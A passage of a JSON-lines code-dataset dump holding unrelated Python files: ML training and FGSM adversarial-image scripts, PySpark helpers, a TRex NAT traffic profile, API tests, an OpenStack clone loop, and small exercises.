DataLoader\nfrom torchvision import transforms, utils\n\n# import our model and dataloader\nimport sys\nsys.path.append(os.path.abspath('..'))\n\nfrom tools.args_tools import args, createfolder\nfrom tools.datasetGRU import ToTensor, Normalize, TyDataset\nfrom tools.loss_function import BMAE, BMSE\nfrom convGRU import model\n\ndef train(net, trainloader, testloader, result_name, max_epochs=50, loss_function=BMSE,\n optimizer=optim.Adam, device=args.device):\n net.train()\n train_file = result_name\n test_file = result_name[:-4]+\"_test.txt\"\n\n if os.path.exists(train_file):\n os.remove(train_file)\n if os.path.exists(test_file):\n os.remove(test_file)\n\n # Set optimizer\n optimizer = optimizer(net.parameters(), lr=args.lr, weight_decay=args.weight_decay)\n total_step = len(trainloader)\n\n for epoch in range(max_epochs):\n # Training\n # open a new file to save result.\n\n f_train = open(train_file,\"a\")\n f_test = open(test_file,\"a\")\n\n for i, data in enumerate(trainloader,0):\n inputs = data[\"RAD\"].to(device, dtype=torch.float)\n labels = data[\"QPE\"].to(device, dtype=torch.float)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n outputs = net(inputs)\n n = outputs.size(0) * outputs.size(1)\n outputs = outputs.view(outputs.shape[0], -1)\n labels = labels.view(labels.shape[0], -1)\n\n # calculate loss function\n loss = loss_function(outputs, labels)/n\n loss.backward()\n\n # `clip_grad_norm` helps prevent the exploding gradient problem in RNNs / LSTMs.\n nn.utils.clip_grad_norm_(net.parameters(), max_norm=args.clip_max_norm)\n\n optimizer.step()\n if (i+1) % 40 == 0:\n print('ConvGRUv2| Epoch [{}/{}], Step [{}/{}], Loss: {:.3f}'\n .format(epoch+1, max_epochs, i+1, total_step, loss.item()))\n f_train.writelines('Epoch [{}/{}], Step [{}/{}], Loss: {:.3f}\\n'\n .format(epoch+1, max_epochs, i+1, total_step, loss.item()))\n\n # Save the test loss per epoch\n test_loss = test(net, testloader=testloader, loss_function=loss_function, device=device)\n\n print(\"ConvGRUv2| Epoch [{}/{}], Test Loss: {:8.3f}\".format(epoch+1, max_epochs, test_loss))\n f_test.writelines(\"Epoch [{}/{}], Test Loss: {:8.3f}\\n\".format(epoch+1, max_epochs, test_loss))\n if (epoch+1) % 10 == 0:\n torch.save(net.state_dict(), result_name[:-4]+'.ckpt'.format(epoch+1))\n with open(result_name[:-4]+'_epoch.txt'.format(epoch+1), 'w') as f:\n print(\"epoch: \", epoch+1)\n\n if (epoch+1) == max_epochs:\n total_params = sum(p.numel() for p in net.parameters())\n print(\"\\nConvGRUv2| Total_params: {:.2e}\".format(total_params))\n f_train.writelines(\"\\nTotal_params: {:.2e}\".format(total_params))\n f_train.close()\n f_test.close()\n\n\ndef test(net, testloader, loss_function=nn.MSELoss(), device=args.device):\n net.eval()\n loss = 0\n n = 0\n with torch.no_grad():\n for i, data in enumerate(testloader,0):\n inputs, labels = data[\"RAD\"].to(device, dtype=torch.float), data[\"QPE\"].to(device, dtype=torch.float)\n outputs = net(inputs)\n n += outputs.shape[0]*outputs.shape[1]\n outputs = outputs.view(outputs.shape[0], -1)\n labels = labels.view(labels.shape[0], -1)\n loss += loss_function(outputs, labels)\n\n loss = loss/n\n return loss\n\ndef get_dataloader(input_frames, output_frames):\n # Normalize data\n mean = [12.834] * input_frames\n std = [14.14] * input_frames\n transfrom = transforms.Compose([ToTensor(),Normalize(mean=mean, std=std)])\n\n # set train and test dataset\n traindataset = TyDataset(ty_list_file=args.ty_list_file,\n input_frames=input_frames,\n output_frames=output_frames,\n train=True,\n root_dir=args.root_dir,\n transform = transfrom)\n testdataset = TyDataset(ty_list_file=args.ty_list_file,\n input_frames=input_frames,\n output_frames=output_frames,\n train=False,\n root_dir=args.root_dir,\n transform = transfrom)\n\n # set train and test dataloader\n params = {\"batch_size\":args.batch_size, \"shuffle\":True, \"num_workers\":1}\n trainloader = DataLoader(traindataset, **params)\n testloader = DataLoader(testdataset, batch_size=args.batch_size, shuffle=False)\n\n return trainloader, testloader\n\n\ndef run(result_name, channel_factor, input_frames, output_frames,\n loss_function=BMSE, max_epochs=50, device=args.device):\n\n # if loss_function == \"BMSE\":\n # loss_function = BMSE\n # elif loss_function == \"BMAE\":\n # loss_function = BMAE\n\n # get dataloader\n trainloader, testloader = get_dataloader(input_frames=input_frames, output_frames=output_frames)\n\n # set the factor of cnn channels\n c = channel_factor\n\n # construct convGRU net\n # initialize the parameters of the encoders and decoders\n encoder_input = 1\n encoder_downsample_layer = [2*c,32*c,96*c]\n encoder_crnn_layer = [32*c,96*c,96*c]\n\n if int(args.I_shape[0]/3) == args.F_shape[0]:\n encoder_downsample_k = [5,4,4]\n encoder_downsample_s = [3,2,2]\n encoder_downsample_p = [1,1,1]\n elif args.I_shape[0] == args.F_shape[0]:\n encoder_downsample_k = [3,4,4]\n encoder_downsample_s = [1,2,2]\n encoder_downsample_p = [1,1,1]\n\n\n encoder_crnn_k = [3,3,3]\n encoder_crnn_s = [1,1,1]\n encoder_crnn_p = [1,1,1]\n encoder_n_layers = 6\n\n decoder_input=0\n decoder_upsample_layer = [96*c,96*c,4*c]\n decoder_crnn_layer = [96*c,96*c,32*c]\n\n decoder_upsample_k = [4,4,3]\n decoder_upsample_s = [2,2,1]\n decoder_upsample_p = [1,1,1]\n\n decoder_crnn_k = [3,3,3]\n decoder_crnn_s = [1,1,1]\n decoder_crnn_p = [1,1,1]\n decoder_n_layers = 6\n\n decoder_output = 1\n decoder_output_k = 3\n decoder_output_s = 1\n decoder_output_p = 1\n decoder_output_layers = 1\n\n Net = model(n_encoders=input_frames, n_decoders=output_frames,\n encoder_input=encoder_input, encoder_downsample_layer=encoder_downsample_layer, encoder_crnn_layer=encoder_crnn_layer,\n encoder_downsample_k=encoder_downsample_k, encoder_crnn_k=encoder_crnn_k,\n encoder_downsample_s=encoder_downsample_s, encoder_crnn_s=encoder_crnn_s,\n encoder_downsample_p=encoder_downsample_p, encoder_crnn_p=encoder_crnn_p,\n encoder_n_layers=encoder_n_layers,\n decoder_input=decoder_input, decoder_upsample_layer=decoder_upsample_layer, decoder_crnn_layer=decoder_crnn_layer,\n decoder_upsample_k=decoder_upsample_k, decoder_crnn_k=decoder_crnn_k,\n decoder_upsample_s=decoder_upsample_s, decoder_crnn_s=decoder_crnn_s,\n decoder_upsample_p=decoder_upsample_p, decoder_crnn_p=decoder_crnn_p,\n decoder_n_layers=decoder_n_layers, decoder_output=1, decoder_output_k=decoder_output_k,\n decoder_output_s=decoder_output_s, decoder_output_p=decoder_output_p,\n decoder_output_layers=decoder_output_layers, batch_norm=False).to(device, dtype=torch.float)\n info = \"| Channel factor c: {:02d}, Forecast frames: {:02d}, Input frames: {:02d} |\".format(channel_factor, output_frames,input_frames)\n print(\"=\"*len(info))\n print(info)\n print(\"=\"*len(info))\n train(net=Net, trainloader=trainloader, testloader=testloader, result_name=result_name,\n max_epochs=max_epochs, loss_function=loss_function, device=device)\n\ndef main():\n if args.root_dir == None:\n print(\"Please set the directory of root data \")\n return\n elif args.ty_list_file == None:\n print(\"Please set typhoon list file\")\n return\n elif args.result_dir == None:\n print(\"Please set the directory of the result\")\n return\n else:\n # set the parameters of the experiment\n output_frames = 18\n channel_factor = 2\n input_frames = 10\n\n result_dir = os.path.join(args.result_dir,\"I{:d}_F{:d}\".format(args.I_shape[0],args.F_shape[0]),\"convGRU_c.{:d}\".format(channel_factor))\n createfolder(result_dir)\n result_name = os.path.join(result_dir,\"BMSE_f{:02d}_x{:02d}_w{:.5f}.txt\".format(output_frames,input_frames,args.weight_decay))\n print(result_name)\n run(result_name=result_name, channel_factor=channel_factor, input_frames=input_frames, output_frames=output_frames,\n loss_function=BMSE, max_epochs=100, device=args.device)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"models_taipei/convGRU/convGRU_run.py","file_name":"convGRU_run.py","file_ext":"py","file_size_in_byte":9177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"654392926","text":"import time\n\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.backends.cudnn as cudnn\nimport torch.nn as nn\nimport torch.optim as optim\n\nfrom functions.helpers.general import *\nfrom functions.helpers.geodesic_distance import rand_trans_normalize\n\n\n# Parameters\n\nmaxIt = 150\n#mode = 'affine'\nmode = 'projective'\n# mode = 'similarity'\ncuda_on = True\ndevice = 'cuda' if torch.cuda.is_available() else 'cpu'\n\nr = 1.04\n\ntorch.set_num_threads(8)\n\nmean = (0.4914, 0.4822, 0.4465)\nstd = (0.2023, 0.1994, 0.2010)\ntransform = transforms.Compose([\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize(mean=mean, std=std)\n])\n\n# Dataset\n\ndataset_path = '/home/magda/Documents/PyTorch/ManiFool/data/Dermofit/dermofit_train_new/'\n\nmanifool_dataset_path = '/home/magda/Documents/PyTorch/ManiFool/data/Dermofit/dermofit_train_fgsm_0.3/'\n\ntestset = torchvision.datasets.ImageFolder(\n root=dataset_path, transform=transform)\n\ntestloader = torch.utils.data.DataLoader(\n testset, batch_size=1, shuffle=False, num_workers=2)\n\nclasses = ('Actinic_Keratosis', 'Basal_Cell_Carcinoma', 'Dermatofibroma',\n 'Haemangioma', 'Intraepithelial_Carcinoma', 'Malignant_Melanoma',\n 'Melanocytic_Nevus', 'Pyogenic_Granuloma', 'Seborrhoeic_Keratosis',\n 'Squamous_Cell_Carcinoma')\n\n# Save path for the new images\n\nx = np.linspace(0, len(classes) - 1, len(classes), dtype=np.int32)\n\nsave_path = {i: [] for i in x}\n\nfor k in range(len(classes)):\n save_path[k].append(manifool_dataset_path + classes[k] + str('/'))\n\n# Build the model\nprint('==> Building model..')\n\nnet = torchvision.models.resnet18(pretrained=True)\n## Change the last layer since we don't have 1000 classes but we want to used a pretrained model\nnum_ftrs = net.fc.in_features\nnet.fc = nn.Linear(num_ftrs, len(classes))\n\nnet = net.to(device)\nif device == 'cuda':\n net = torch.nn.DataParallel(net)\n cudnn.benchmark = True\n\n# Resume training from checkpoint\ncheckpoint = torch.load('./checkpoint/ckpt_dermofit_2.t7')\nnet.load_state_dict(checkpoint['net'])\n\nweights = np.asarray([\n 1.80434783, 0.34583333, 1.25757576, 0.84693878, 1.06410256, 1.09210526,\n 0.25, 3.45833333, 0.32170543, 0.94318182\n])\n\nweights = torch.from_numpy(weights).type(torch.FloatTensor).to(\n torch.device(device))\n\ncriterion = nn.CrossEntropyLoss(weight=weights)\noptimizer = optim.SGD(\n net.parameters(), lr=0.0001, momentum=0.9, weight_decay=5e-4)\n\ncounter = 0\n\nfor batch_idx, (inputs, targets) in enumerate(testloader):\n im, targets = inputs.to(device), targets.to(device)\n im.requires_grad_()\n\n optimizer.zero_grad()\n outputs = net(im)\n loss = criterion(outputs, targets)\n loss.backward()\n\n if cuda_on:\n im = im.cuda()\n\n epsilon = 0.3\n x_grad = torch.sign(im.grad)\n x_adversarial = im.detach() + epsilon * x_grad\n #x_adversarial = torch.clamp(im.detach() + epsilon * x_grad, 0, 1)\n\n folder_name = ''.join(save_path[targets.item()])\n img_name = folder_name + 'img_fgsm_' + str(counter) + '.png'\n torchvision.utils.save_image(\n x_adversarial, filename=img_name, normalize=True)\n counter += 1\n\n\n","sub_path":"Dermofit_createFGSMDataset.py","file_name":"Dermofit_createFGSMDataset.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"231289846","text":"import constants\nimport time\nimport datetime\nimport os\nfrom pyspark.sql import functions as F\nfrom pyspark.sql import Window,Row\nfrom pyspark.sql.types import IntegerType, DateType\n\nfrom constants import *\n\n\n\ndef currDir():\n return os.getcwd()\n\ndef fileDir(file=__file__):\n return os.path.dirname(file)\n\ndef upDir(n, nth_dir=os.getcwd()):\n while n != 0:\n nth_dir = os.path.dirname(nth_dir)\n n -= 1\n return nth_dir\n\n\ndef get_inv_id(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename): \n\n logger.info(f'''\n AppName:{AppName} SourceName:{SourceName} SourceFormat:{SourceFormat} SourceType:{SourceType} TableorFilename:{TableorFilename}\n ''')\n\n inv_df.createOrReplaceTempView(\"inventory\")\n inv_id = spark.sql(\"select inv_id from inventory where app_name='{}' and source_name = '{}' and source_format = '{}' and source_type = '{}' and table_or_path = '{}'\".format(\n AppName,SourceName,SourceFormat,SourceType,TableorFilename))\n\n return inv_id.collect()[0][0]\n\ndef get_load_type(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename): \n inv_id = get_inv_id(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n exec_df.createOrReplaceTempView(\"exec\")\n result = spark.sql(\"select count(exec_id) from exec where inv_id='{}'\".format(inv_id))\n print(result.collect()[0][0])\n load_type = 'History' if result.collect()[0][0]==0 else 'Subsequent'\n print(f\"get_load_type returns:{load_type} \")\n return load_type\n\ndef get_frequency(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename): \n inv_df.createOrReplaceTempView(\"inventory\")\n freq = spark.sql(\"select frequency from inventory where app_name='{}' and source_name = '{}' and source_format = '{}' and source_type = '{}' and table_or_path = '{}'\".format(\n AppName,SourceName,SourceFormat,SourceType,TableorFilename))\n return freq\n\n\n\ndef get_last_exec_info(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename,flag=None): \n inv_ID = get_inv_id(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n w = Window.partitionBy('inv_id')\n new_df=exec_df.where(F.col(\"inv_id\").isin(list(inv_ID)))\n\n if flag is not None:\n new_df=exec_df.where(F.col(\"status_flag\").isin(list(flag)))\n new_df=new_df.withColumn('last', F.last('exec_id').over(w)).filter('exec_id = last').drop('last')\n return new_df #returns all columns \n\n\ndef set_curr_exec_info(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename): \n print('enter set_exec_id')\n logger.info(f'''\n AppName:{AppName} SourceName:{SourceName} SourceFormat:{SourceFormat} SourceType:{SourceType} TableorFilename:{TableorFilename}\n ''')\n load_type = get_load_type(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n last_df = get_last_exec_info(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n \n\n if load_type == 'History':\n print('initial entry to exec table')\n inv_id = get_inv_id(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n inv_frq = get_frequency(spark,logger,inv_df,exec_df,AppName,SourceName,SourceFormat,SourceType,TableorFilename)\n cur_date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')\n nxt_date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d')\n \n init_id = projectConstants.INIT_ID\n init_list = [[init_id,inv_id,cur_date,nxt_date,inv_frq.collect()[0][0],projectConstants.IN_PROGRESS_FLAG]]\n init_df = spark.createDataFrame(init_list) \n add_days = inv_frq.select(F.expr(\"case when frequency = 'daily' then 1 \" + \"when frequency = 'weekly' then 7 \" + \"when frequency = 'yearly' then 365 \" + \"when frequency = 'monthly' then 30 end\").alias(\"days\"))\n init_df = last_df.union(init_df)\n init_df = init_df.withColumn(\"lrundate\",F.current_date())\n init_df = init_df.withColumn(\"nrundate\",F.date_add(F.current_date(),add_days.collect()[0][0]))\n print('exit set_exec_id history branch')\n return init_df\n\n\n\n if load_type == 'Subsequent':\n print('subsequent entry to exec table')\n # last_df.show()\n add_days = last_df.select(F.expr(\"case when schedule = 'daily' then 1 \" + \"when schedule = 'weekly' then 7 \" + \"when schedule = 'yearly' then 365 \" + \"when schedule = 'monthly' then 30 end\").alias(\"days\"))\n next_df=last_df.select((F.col('exec_id').cast(IntegerType())+1).alias('exec_id'), \\\n (F.col('inv_id')), \\\n (F.col('nrundate').alias('lrundate')), \\\n (F.date_add(F.col(\"nrundate\"), add_days.collect()[0][0]).alias('next_date')), \\\n (F.col('schedule')), \\\n (F.lit('i').alias('status_flag')) )\n print('exit set_exec_id Subsequent branch')\n return next_df\n\ndef read_csv(spark,logger,path):\n print('inside read_csv')\n print(path)\n df = spark.read.format(\"csv\").option(\"header\",\"True\").load(path)\n return df\n\ndef set_flag(spark,logger,exe_df,exe_id,inv_id):\n pass\n\ndef load_dict(spark,logger,config,appName):\n logger.info(\"start of load_dict\")\n logger.info(f\"received config:{config} appName:{appName}\")\n source_list = list(config[yamlConfigConstants.sources].keys())\n logger.info('Listed resources: {}'.format(source_list))\n print('Listed resources: {}'.format(source_list))\n load_type_dict={}\n\n logger.info(\"controller files loaded\")\n inv_df = read_csv(spark,logger,projectConstants.INV_PATH)\n exec_df = read_csv(spark,logger,projectConstants.EXE_PATH)\n for src in source_list:\n srcConfigDict = config[yamlConfigConstants.sources][src]\n srcConfigObj = configParser.configDictToObjConverter(srcConfigDict)\n ld_type = get_load_type(spark,logger,inv_df,exec_df,appName,src,\n srcConfigObj.SourceFormat,srcConfigObj.SourceType,srcConfigObj.TableorFilename)\n load_type_dict[src] = ld_type\n\n logger.info(\"end of load_dict\")\n return load_type_dict","sub_path":"datamesh/scripts/common_functions.py","file_name":"common_functions.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"416445037","text":"from trex_stl_lib.api import *\n\n\nclass STLS1:\n def create_stream(self):\n base_pkt = Ether() / IP(dst=\"2.2.0.1\") / UDP(dport=12)\n\n pad = Padding()\n if len(base_pkt) < 64:\n pad_len = 64 - len(base_pkt)\n pad.load = \"\\x00\" * pad_len\n\n vm = STLVM()\n\n vm.tuple_var(\n name=\"tuple\",\n ip_min=\"10.0.0.3\",\n ip_max=\"10.0.0.102\",\n port_min=1025,\n port_max=1124,\n limit_flows=10000,\n )\n\n vm.write(fv_name=\"tuple.ip\", pkt_offset=\"IP.src\")\n vm.fix_chksum()\n\n vm.write(fv_name=\"tuple.port\", pkt_offset=\"UDP.sport\")\n\n pkt = STLPktBuilder(pkt=base_pkt / pad, vm=vm)\n\n return STLStream(packet=pkt, mode=STLTXCont())\n\n def get_streams(self, direction=0, **kwargs):\n return [self.create_stream()]\n\n\n# dynamic load - used for trex console or simulator\ndef register():\n return STLS1()\n","sub_path":"src/plugins/nat/extras/nat_10ks.py","file_name":"nat_10ks.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"506892799","text":"from channel import channel_details, formated_user_details_from_user_data\nfrom channels import channels_create\nfrom auth import auth_get_user_data_from_id\nfrom test_helpers import register_n_users\nfrom other import clear\nimport pytest\nfrom error import InputError, AccessError\n\n\ndef test_channel_details_invalid_token():\n clear()\n with pytest.raises(AccessError):\n channel_details(-1, 0)\n\n\ndef test_channel_details_basic():\n clear()\n\n usera = register_n_users(1)\n\n channel_id = channels_create(usera[\"token\"], \"channel1\", True)[\"channel_id\"]\n\n details1 = channel_details(usera[\"token\"], channel_id)\n assert details1 == {\n \"name\": \"channel1\",\n \"owner_members\": [\n formated_user_details_from_user_data(\n auth_get_user_data_from_id(usera[\"u_id\"])\n )\n ],\n \"all_members\": [\n formated_user_details_from_user_data(\n auth_get_user_data_from_id(usera[\"u_id\"])\n )\n ],\n }\n\n\ndef test_channel_details_private():\n clear()\n\n usera, userb = register_n_users(2)\n\n channel_id = channels_create(userb[\"token\"], \"channel2\", False)[\"channel_id\"]\n\n assert channel_details(userb[\"token\"], channel_id) == {\n \"name\": \"channel2\",\n \"owner_members\": [\n formated_user_details_from_user_data(\n auth_get_user_data_from_id(userb[\"u_id\"])\n )\n ],\n \"all_members\": [\n formated_user_details_from_user_data(\n auth_get_user_data_from_id(userb[\"u_id\"])\n )\n ],\n }\n\n with pytest.raises(AccessError):\n channel_details(usera[\"token\"], channel_id)\n\n\ndef test_channel_details_invalid_id():\n clear()\n usera, _ = register_n_users(2)\n with pytest.raises(InputError):\n channel_details(usera[\"token\"], 1)\n","sub_path":"src/tests/channel_details_test.py","file_name":"channel_details_test.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"467171441","text":"f = open('middletwo.txt')\r\ns = f.read()\r\n# Максимальное кол-во машин между Vaz2107, включая Vaz2107\r\n\r\n\r\na = []\r\nd = 0\r\nmaxd = 0\r\ncrd = []\r\n\r\nfor i in range(0,len(s)):\r\n\tif s[i] == 'V' and s[i+6] == '7':#Ищем на каком по счету символу( отсчет ведется с нуля) находятся Vaz2107\r\n\t\ta.append(i)\r\nprint(a)\r\n\r\nfor i in range(0,len(a)-1):\r\n\tq = 0\r\n\tfor k in range(int(a[i]),int(a[i+1])+1):\r\n\t\tif s[k] in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':\r\n\t\t\tq += 1\r\n\tif q >= maxd:\r\n\t\tmaxd = q\r\n\t\tcrd = []\r\n\t\tcrd.append(a[i])\r\n\t\tcrd.append(a[i+1])\r\nprint(maxd,crd)","sub_path":"middletwo/middletwo.py","file_name":"middletwo.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"284335607","text":"#!/usr/bin/python\n#-*- coding: UTF-8 -*-\n#\n# @file: test.py\n#\n# @version:\n# @create:\n# @update: 2019-06-14\n#\n#######################################################################\nfrom __future__ import print_function\nimport os, sys, stat, signal, shutil, inspect, commands, time, datetime\n\nimport codecs, json, base64\n\n#######################################################################\n# application specific\nAPPFILE = os.path.realpath(sys.argv[0])\nAPPHOME = os.path.dirname(APPFILE)\nAPPNAME,_ = os.path.splitext(os.path.basename(APPFILE))\nAPPVER = \"1.0.0\"\nAPPHELP = \"python app just for test\"\n\n\n#######################################################################\n# Usage:\n# $ %prog\n# or\n# $ %prog --force\n#\nif __name__ == \"__main__\":\n jsonString = '''{\n \"result\": \"SUCCESS\",\n \"totalRows\": \"1\",\n \"rows\": [\n {\n \"username\": \"%s\",\n \"password\": \"%s\"\n }\n ]\n }''' % (\"Hello\", \"World\")\n\n # 一定要以 base64 编码后打印出来\n print(\"::JsonResult::\")\n print(base64.b64encode(jsonString))\n sys.exit(0)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"486797922","text":"# coding: utf-8\n# from core.config import config\nimport os\nfrom time import sleep\n\nfrom core.config import setup_config, config\ntry:\n setup_config('%s/config.py' % os.path.abspath(os.curdir))\nexcept AttributeError:\n config = None\n\nfrom core.logger import setup_logging, log\ntry:\n setup_logging(logname='LOG', logdir=config.LOG_DIR, scrnlog=True, txtlog=True, loglevel='DEBUG')\nexcept Exception as e:\n raise e\n\nfrom platforms import Platforms, OpenstackOrigin\nfrom core import utils as openstack_utils\nfrom clone import OpenstackClone\nplatforms = Platforms()\n\n\nPLATFORM = \"ubuntu-14.04-x64\"\nprefix = 'debug'\n\n\ndef prepare():\n images = openstack_utils.glance_client().images.list()\n origins = \\\n [image for image in images\n if image.status == 'active'\n and image.name == 'origin-ubuntu-14.04-x64']\n\n origin = OpenstackOrigin(origins[0])\n log.info(origin.name)\n clone = OpenstackClone(origin, prefix)\n clone.create()\n while clone.ready is not True:\n log.debug('Clone is not ready')\n sleep(1)\n return clone\n\n\ndef run(clone):\n while True:\n if not clone.ping_vm():\n while True:\n log.warn('%s %s' % (str(clone.ip), str(clone.name)))\n sleep(1)\n else:\n clone.rebuild()\n while clone.ready is not True:\n log.debug('Clone is not ready')\n sleep(1)\n sleep(1)\n\n\nif __name__ == '__main__':\n c = prepare()\n run(c)\n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"480772929","text":"import os\nimport hashlib\nimport shutil\n\nclass Repository:\n def __init__(self, location):\n self._location = location\n\n def resolve(self, name):\n h = hashlib.sha256(str.encode(name)).hexdigest()\n return os.path.join(self._location, h[0:2], h[2:4], h[4:])\n \n def build(self, prefix, sources):\n for src in sources:\n dst = self.resolve(src)\n if not os.path.exists(dst):\n os.makedirs(os.path.dirname(dst), exist_ok=True)\n shutil.copyfile(os.path.join(prefix, src), dst)\n\nif __name__ == '__main__':\n path = 'test/.repo'\n\n assert(not os.path.exists(path))\n r = Repository(path)\n sources = ['test/reg.csv', 'README.md']\n r.build('.', sources)\n for s in sources:\n assert(os.path.exists(r.resolve(s)))\n shutil.rmtree(path)\n","sub_path":"repository.py","file_name":"repository.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"455095437","text":"import pandas as pd\r\nimport numpy as np\r\nimport math\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.cross_validation import train_test_split\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.linear_model import Lasso,Ridge,LinearRegression,RandomizedLogisticRegression\r\nfrom sklearn import preprocessing\r\nfrom sklearn.metrics import explained_variance_score\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.feature_selection import RFE\r\ndef load_data():\r\n df_train = pd.read_csv(\"data/pm25_train.csv\")\r\n df_test = pd.read_csv(\"data/pm25_test.csv\")\r\n del df_train['date']\r\n del df_test['date']\r\n # del df_train['TEMP']\r\n # del df_train['cbwd_NE']\r\n print(df_train.corr()[['pm2.5']].sort_values('pm2.5'))\r\n prices = pd.DataFrame({\"price\": df_train['pm2.5'], \"log(price+1)\": np.log1p(df_train[\"pm2.5\"])})\r\n prices.hist()\r\n y_true = df_train['pm2.5'].values\r\n min_max_scaler = preprocessing.MinMaxScaler()\r\n df_train = min_max_scaler.fit_transform(df_train)\r\n df_test = min_max_scaler.fit_transform(df_test)\r\n # #df_train = preprocessing.normalize(df_train, norm='l1')\r\n # df_train = (df_train - np.mean(df_train, axis=0)) / np.std(df_train, axis=0) # 标准化\r\n # df_train = preprocessing.scale(df_train)\r\n\r\n\r\n # 用二次多项式对样本X值做变换\r\n\r\n return df_train, df_test,y_true\r\ndef model():\r\n df_train, df_test,y_true = load_data()\r\n # X_train, X_test, y_train, y_test = train_test_split(df_train.drop('pm2.5', axis=1).values,\r\n # df_train['pm2.5'].values, test_size=0.3, random_state=0)\r\n Y = df_train[:,0]\r\n X = np.delete(df_train,0,1)\r\n X_train, X_test, y_train, y_test = train_test_split(X,Y, test_size=0.3, random_state=0)\r\n quadratic_featurizer = preprocessing.PolynomialFeatures(degree=2)\r\n X_train = quadratic_featurizer.fit_transform(X_train)\r\n X_test = quadratic_featurizer.fit_transform(X_test)\r\n df_test = quadratic_featurizer.fit_transform(df_test)\r\n print(df_train.shape)\r\n clf = Ridge()\r\n rfm = RFE(estimator=clf, n_features_to_select=10, step=1)\r\n rfm.fit(X_train,y_train)\r\n print(X_train.shape)\r\n X_new = rfm.transform(X_train)\r\n X_new1 = rfm.transform(X_test)\r\n X_new2 = rfm.transform(df_test)\r\n print(X_new.shape)\r\n print(\"333333222222233333\")\r\n\r\n # param_test1 = {'n_estimators': range(10, 100, 10)}\r\n # gsearch1 = GridSearchCV(estimator=RandomForestRegressor(min_samples_split=100,\r\n # min_samples_leaf=20, max_depth=8, max_features='sqrt',\r\n # random_state=10),\r\n # param_grid=param_test1, scoring='neg_mean_squared_error', cv=10)\r\n\r\n param_test2 = {'max_depth': range(3, 14, 2)}\r\n\r\n print(\"333444444442233333\")\r\n\r\n gsearch2 = GridSearchCV(estimator=RandomForestRegressor(n_estimators=80,min_samples_split=100,\r\n min_samples_leaf=20, oob_score=True, random_state=10),\r\n param_grid=param_test2, scoring='neg_mean_squared_error', iid=False, cv=10)\r\n\r\n print(\"33335555533333\")\r\n LRModels = gsearch2.fit(X_new, y_train)\r\n print(\"333356666666533333\")\r\n print(LRModels.best_params_)\r\n print(\"333333333333333\")\r\n #预测模型\r\n y_pred = np.expm1(LRModels.predict(X_new1))\r\n y_pred2 = np.expm1(LRModels.predict(X_new2))\r\n print(y_test)\r\n print(y_pred)\r\n print(explained_variance_score(y_test,y_pred,multioutput='raw_values'))\r\n mse = np.average((y_pred - np.array(y_test)) ** 2)\r\n print(mse)\r\n y_pred = y_pred*np.std(y_true)+np.mean(y_true)\r\n y_pred2 = y_pred2 * np.std(y_true) + np.mean(y_true)\r\n print(y_pred2.shape)\r\n print(y_pred2)\r\n result = pd.DataFrame({'pm2.5':y_pred2.astype(np.int32)})\r\n result.to_csv(\"data/result.csv\",index=False)\r\nif __name__ == '__main__':\r\n model()","sub_path":"2020A/codes/chapters3process/pm25/featurenew.py","file_name":"featurenew.py","file_ext":"py","file_size_in_byte":4032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"357813140","text":"# ch15_23.py\nimport cv2\n\n# 讀取與建立影像 1\nsrc1 = cv2.imread(\"mycloud1.jpg\")\ncv2.imshow(\"mycloud1\",src1)\nsrc1_gray = cv2.cvtColor(src1,cv2.COLOR_BGR2GRAY) # 影像轉成灰階\n# 二值化處理影像\nret, dst_binary = cv2.threshold(src1_gray,127,255,cv2.THRESH_BINARY)\n# 找尋影像內的輪廓\ncontours, hierarchy = cv2.findContours(dst_binary,\n cv2.RETR_LIST,\n cv2.CHAIN_APPROX_SIMPLE) \ncnt1 = contours[0]\n# 讀取與建立影像 2\nsrc2 = 